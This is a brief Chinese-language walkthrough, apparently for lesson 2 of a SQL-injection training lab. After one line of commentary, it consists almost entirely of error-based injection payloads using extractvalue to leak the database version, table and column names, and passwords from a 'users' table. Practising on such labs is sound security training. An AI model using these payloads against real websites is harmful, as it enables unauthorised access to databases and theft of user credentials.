还是可以用普通注入,但这里用了ExtractValue使报错
/Less-2/?id=1 order by 3
/Less-2/?id=1 and extractvalue(1, concat(0x7e, (select version()),0x7e))
/Less-2/?id=1 and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) //爆表
/Less-2/?id=1 and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) //爆字段
/Less-2/?id=1 and extractvalue(1,concat('~',(select password from users limit 0,1),'~')) //爆内容